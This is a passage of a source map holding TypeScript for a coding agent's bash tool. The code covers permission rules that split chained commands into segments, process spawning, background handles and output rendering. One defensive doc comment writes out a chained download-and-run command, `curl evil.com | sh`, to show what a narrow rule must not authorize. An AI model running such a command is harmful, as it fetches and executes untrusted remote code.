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","sourcesContent":["import { constants } from \"node:fs\";\nimport { access as fsAccess } from \"node:fs/promises\";\nimport { Container, Text, truncateToWidth } from \"@earendil-works/pi-tui\";\nimport { type AgentTool, type AgentToolResult, ToolExecutionError } from \"apex-code-agent-core\";\nimport { spawn } from \"child_process\";\nimport { type Static, Type } from \"typebox\";\nimport { keyHint } from \"../../modes/interactive/components/keybinding-hints.ts\";\nimport { truncateToVisualLines } from \"../../modes/interactive/components/visual-truncate.ts\";\nimport { theme } from \"../../modes/interactive/theme/theme.ts\";\nimport { waitForChildProcess } from \"../../utils/child-process.ts\";\nimport {\n\tgetShellConfig,\n\tgetShellEnv,\n\tkillProcessTree,\n\ttype ShellConfig,\n\ttrackDetachedChildPid,\n\tuntrackDetachedChildPid,\n} from \"../../utils/shell.ts\";\nimport { setApexEnvironment } from \"../environment.ts\";\nimport { getExperimentalToolSampling } from \"../experimental.ts\";\nimport type { ExtensionContext, ToolRenderResultOptions } from \"../extensions/types.ts\";\nimport { type BackgroundShellRegistry, createBackgroundShellRegistry } from \"./background-shell.ts\";\nimport { classifyBashCommand } from \"./bash-command-segments.ts\";\nimport { type ApexToolDefinition, type PermissionSpec, toolUnion } from \"./contract.ts\";\nimport { OutputAccumulator } from \"./output-accumulator.ts\";\nimport { getTextOutput, invalidArgText, str } from \"./render-utils.ts\";\nimport { wrapToolDefinition } from \"./tool-definition-wrapper.ts\";\nimport { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, type TruncationResult } from \"./truncate.ts\";\n\nconst MAX_TIMEOUT_MS = 2_147_483_647;\nconst MAX_TIMEOUT_SECONDS = MAX_TIMEOUT_MS / 1000;\n\nfunction resolveTimeoutMs(timeout: number | undefined): number | undefined {\n\tif (timeout === undefined) return undefined;\n\tif (!Number.isFinite(timeout) || timeout <= 0) {\n\t\tthrow new Error(\"Invalid timeout: must be a finite number of seconds\");\n\t}\n\n\tconst timeoutMs = timeout * 1000;\n\tif (timeoutMs > MAX_TIMEOUT_MS) {\n\t\tthrow new Error(`Invalid timeout: maximum is ${MAX_TIMEOUT_SECONDS} seconds`);\n\t}\n\treturn timeoutMs;\n}\n\nconst bashSchemaProperties = {\n\tcommand: Type.String({ description: \"Shell command to execute\" }),\n\ttimeout: Type.Optional(Type.Number({ description: \"Timeout in seconds (optional, no default timeout)\" })),\n\tbackground: Type.Optional(\n\t\tType.Boolean({\n\t\t\tdescription:\n\t\t\t\t\"Run in the background and return a handle immediately. Retrieve with { handle }; kill with { handle, kill: true }.\",\n\t\t}),\n\t),\n\thandle: Type.String({\n\t\tdescription:\n\t\t\t\"Handle from a background launch. Supply it alone to retrieve output and status; add kill: true to terminate.\",\n\t}),\n\tkill: Type.Literal(true, { description: \"Set to true with a background handle to terminate its command.\" }),\n};\n\nconst bashSchema = toolUnion(\n\t[\n\t\tType.Object({\n\t\t\tcommand: Type.String(),\n\t\t\ttimeout: Type.Optional(Type.Number()),\n\t\t\tbackground: Type.Optional(Type.Boolean()),\n\t\t}),\n\t\tType.Object({ handle: Type.String() }),\n\t\tType.Object({ handle: Type.String(), kill: Type.Literal(true) }),\n\t],\n\tbashSchemaProperties,\n);\n\nexport const bashToolSystemPromptContribution = {\n\tsnippet: \"Execute bash commands (ls, grep, find, etc.)\",\n\tguidelines: [\"You can inspect PI_* environment variables for current model and session details.\"],\n} as const;\n\nexport type BashToolInput = Static<typeof bashSchema>;\n\nfunction normalizeSegment(text: string): string {\n\treturn text.trim().replace(/\\s+/g, \" \");\n}\n\n/**\n * A rule matches a segment either by exact text, or — when it ends with the `:*`\n * suffix convention (e.g. `git commit:*`) — by prefix: the segment must equal the\n * prefix or start with the prefix followed by a space. `git commit:*` therefore\n * matches `git commit` and `git commit -m x`, but not `git commitment` (word\n * boundary enforced) and not an unrelated segment in the same chained command.\n */\nfunction hasGrammarSensitiveStructure(value: string): boolean {\n\treturn /[\"'\\\\\\t\\n#]/.test(value);\n}\n\nfunction segmentMatchesRule(segment: string, ruleContent: string): boolean {\n\tconst sensitive = hasGrammarSensitiveStructure(segment) || hasGrammarSensitiveStructure(ruleContent);\n\tconst normalizedSegment = sensitive ? segment : normalizeSegment(segment);\n\tconst normalizedRule = sensitive ? ruleContent : normalizeSegment(ruleContent);\n\tif (normalizedRule.endsWith(\":*\")) {\n\t\tconst prefix = normalizedRule.slice(0, -2).trim();\n\t\tif (!prefix) return false;\n\t\treturn normalizedSegment === prefix || normalizedSegment.startsWith(`${prefix} `);\n\t}\n\treturn normalizedSegment === normalizedRule;\n}\n\n/**\n * bash's permission grammar (ADR 0004). A rule authorizes a call only if the\n * command decomposes cleanly into segments (never on \"unparseable\") and **every**\n * segment matches — a narrow rule like `git commit:*` can never authorize\n * `git commit -m x && curl evil.com | sh`, because `curl evil.com` and `sh` are\n * separate segments that do not match it.\n *\n * `ruleForCall` only generalizes a single-segment command: a multi-segment chain\n * has no single non-trivial rule that captures exactly what it did, and returning\n * one would either over-authorize (if loose) or be indistinguishable from an exact\n * match (if not) — `null` correctly forces `ask` for \"always allow this\" on a chain.\n */\n/**\n * Reserved rule content for retrieve/kill calls on background handles. These\n * perform no new execution -- the command they operate on was already gated at\n * launch -- so `defaultBehaviorFor` allows them when no rule matches, while a\n * `Bash(background-handle)` rule (allow *or* deny) still governs them\n * explicitly.\n */\nconst BACKGROUND_HANDLE_RULE = \"background-handle\";\n\nexport function createBashPermissionSpec(): PermissionSpec<typeof bashSchema> {\n\treturn {\n\t\tdefaultBehavior: \"ask\",\n\t\tdefaultBehaviorFor(params) {\n\t\t\treturn \"command\" in params ? undefined : \"allow\";\n\t\t},\n\t\tmatches(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.every((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tmatchesDeny(ruleContent, params) {\n\t\t\tif (!(\"command\" in params)) return ruleContent === BACKGROUND_HANDLE_RULE;\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\treturn (\n\t\t\t\tclassification.type === \"segments\" &&\n\t\t\t\tclassification.segments.some((segment) => segmentMatchesRule(segment, ruleContent))\n\t\t\t);\n\t\t},\n\t\tisUnknown(params) {\n\t\t\treturn \"command\" in params && classifyBashCommand(params.command).type !== \"segments\";\n\t\t},\n\t\tdescribe(ruleContent) {\n\t\t\tif (ruleContent === BACKGROUND_HANDLE_RULE) {\n\t\t\t\treturn \"Retrieve or kill background shell commands\";\n\t\t\t}\n\t\t\treturn `Run bash commands matching \"${ruleContent}\"`;\n\t\t},\n\t\tpreviewCall(params) {\n\t\t\t// The command string is the entire effect being authorized. There is\n\t\t\t// nothing to read and nothing to summarise: showing it exactly, including\n\t\t\t// whitespace the rule grammar treats as significant, is the preview.\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn { kind: \"summary\", lines: [\"Retrieve or kill a background shell command\"] };\n\t\t\t}\n\t\t\treturn { kind: \"summary\", lines: [String(params.command)] };\n\t\t},\n\t\truleForCall(params) {\n\t\t\tif (!(\"command\" in params)) {\n\t\t\t\treturn BACKGROUND_HANDLE_RULE;\n\t\t\t}\n\t\t\tconst classification = classifyBashCommand(params.command);\n\t\t\tif (classification.type !== \"segments\" || classification.segments.length !== 1) return null;\n\t\t\tconst segment = classification.segments[0];\n\t\t\treturn hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nfunction formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (!command && handle) {\n\t\tconst suffix = args?.kill === true ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${handle}${suffix}`));\n\t}\n\tconst timeout = args?.timeout as number | undefined;\n\tconst timeoutSuffix = timeout ? theme.fg(\"muted\", ` (timeout ${timeout}s)`) : \"\";\n\tconst commandDisplay = command === null ? invalidArgText(theme) : command ? command : theme.fg(\"toolOutput\", \"...\");\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${commandDisplay}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { handle: string } | { handle: string; kill: true },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (\"kill\" in handleInput && handleInput.kill) {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst command =\n\t\t\t\t\t\t\"command\" in params ? params.command : (registry.commandFor(params.handle) ?? params.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: 